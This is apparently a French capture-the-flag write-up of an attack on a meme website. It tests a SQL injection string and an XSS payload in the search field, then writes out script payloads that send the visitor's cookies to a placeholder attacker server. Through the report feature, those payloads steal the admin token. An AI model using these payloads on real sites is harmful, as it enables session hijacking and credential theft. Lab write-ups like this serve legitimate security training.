Observation initiale
On voit qu’il y a une barre de recherche. On essaie quelques payloads basiques des vulnérabilités courantes.
J’ai testé une injection SQL (SQLi) avec :
' or 1=1 --
Avant d’essayer des payloads plus complexes, on teste d’autres vulnérabilités.
Ensuite, j’ai testé une injection XSS avec ce payload :
<script>alert(1)</script>
Ça fonctionne !
Analyse de la fonctionnalité “Ajouter un meme”
En explorant le site, on remarque que si on clique sur “Ajouter un meme”, on est redirigé vers l’endpoint /flag
avec un message affiché :
Erreur : bad token !
Cette page n'est accessible que par l'administrateur.
On constate que cette page requiert un accès administrateur avec un token. En vérifiant les cookies dans notre navigateur, on voit un champ nommé token
.
Nous tentons alors une exfiltration de données sensibles (Sensitive Data Exfiltration).
Exfiltration de données sensibles
On peut utiliser des payloads comme :
<SCRIPT>document.location='http://<<url>>/?'+document.cookie</SCRIPT>
Ce payload redirige l’utilisateur vers une URL malveillante en y ajoutant ses cookies.
Démarrage du serveur HTTP
On démarre un serveur HTTP sur le port 8001 avec la commande :
python3 -m http.server 8001
Test du payload
Après avoir utilisé le payload suivant sur /?search=
:
<SCRIPT>document.location='http://<<monip>>:8001/?'+document.cookie</SCRIPT>
Le script retourne mes cookies, ce qui signifie que le code JavaScript a été exécuté en local dans mon navigateur.
Notre objectif est maintenant d’obtenir les cookies de l’administrateur.
Exploitation de la fonctionnalité “Report”
En continuant l’exploration du site, sur la page d’accueil, on peut signaler (report) chaque meme.
Si on clique sur le drapeau, on obtient une URL comme :
/report?url=/?search=meme_01.jpg
On teste alors l’endpoint /report
pour vérifier s’il s’exécute en local ou chez l’administrateur, puisqu’il utilise le paramètre search
, qui est vulnérable.
On utilise le même payload :
<SCRIPT>document.location='http://<<myserverip>>/?'+document.cookie</SCRIPT>
Résultat
On reçoit le token de l’administrateur. En remplaçant ce token dans le cookie token
de notre navigateur, on obtient le flag sur /flag
.
Vérification du scope de l’attaque XSS
On peut utiliser ce script pour savoir dans quel scope l’attaque XSS s’exécute réellement :
<script>window.location=`http://<<myserverip>>/${document.domain.concat("\n").concat(window.origin)}`</script>
Notes supplémentaires
- Ressource utile : PayloadsAllTheThings - XSS Injection